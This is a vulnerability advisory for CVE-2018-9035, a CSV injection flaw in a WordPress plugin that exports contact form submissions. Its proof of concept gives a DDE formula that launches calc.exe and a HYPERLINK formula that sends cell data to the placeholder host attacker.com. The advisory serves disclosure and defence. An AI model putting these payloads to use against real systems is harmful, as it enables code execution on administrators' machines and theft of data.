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1.6 KiB
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40 lines
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1.6 KiB
Text
# Exploit Title : Contact Form 7 to Database Extension Wordpress Plugin CSV Injection
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# Date: 23-03-2018
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# Exploit Author : Stefan Broeder
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# Contact : https://twitter.com/stefanbroeder
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# Vendor Homepage: None
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# Software Link: https://wordpress.org/plugins/contact-form-7-to-database-extension
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# Version: 2.10.32
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# CVE : CVE-2018-9035
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# Category : webapps
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Description
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===========
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Contact Form 7 to Database Extension is a WordPress plugin with more than 400.000 active installations. Development is discontinued since 1 year. Version 2.10.32 (and possibly previous versions) are affected by a CSV Injection vulnerability.
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Vulnerable part of code
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=======================
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File: contact-form-7-to-database-extension/ExportToCsvUtf8.php:135 prints value of column without checking if it contains a spreadsheet formula.
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Impact
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======
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Arbitrary formulas can be injected into CSV/Excel files.
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This can potentially lead to remote code execution at the client (DDE) or data leakage via maliciously injected hyperlinks.
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Proof of Concept
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============
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In order to exploit this vulnerability, the attacker needs to insert an Excel formula into any of the contact form fields available. This will end up in the log, and if a WordPress administrator chooses to export this log as Excel/CSV file, the file will contain the formula. If he then opens the file, the formula will be calculated.
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Example:
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=cmd|'/C calc.exe'!Z0
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or
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=HYPERLINK("http://attacker.com/leak?="&A1&A2, "Click to load more data!")
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Solution
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========
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The plugin should escape fields starting with '=' when it exports data to CSV or Excel formats. |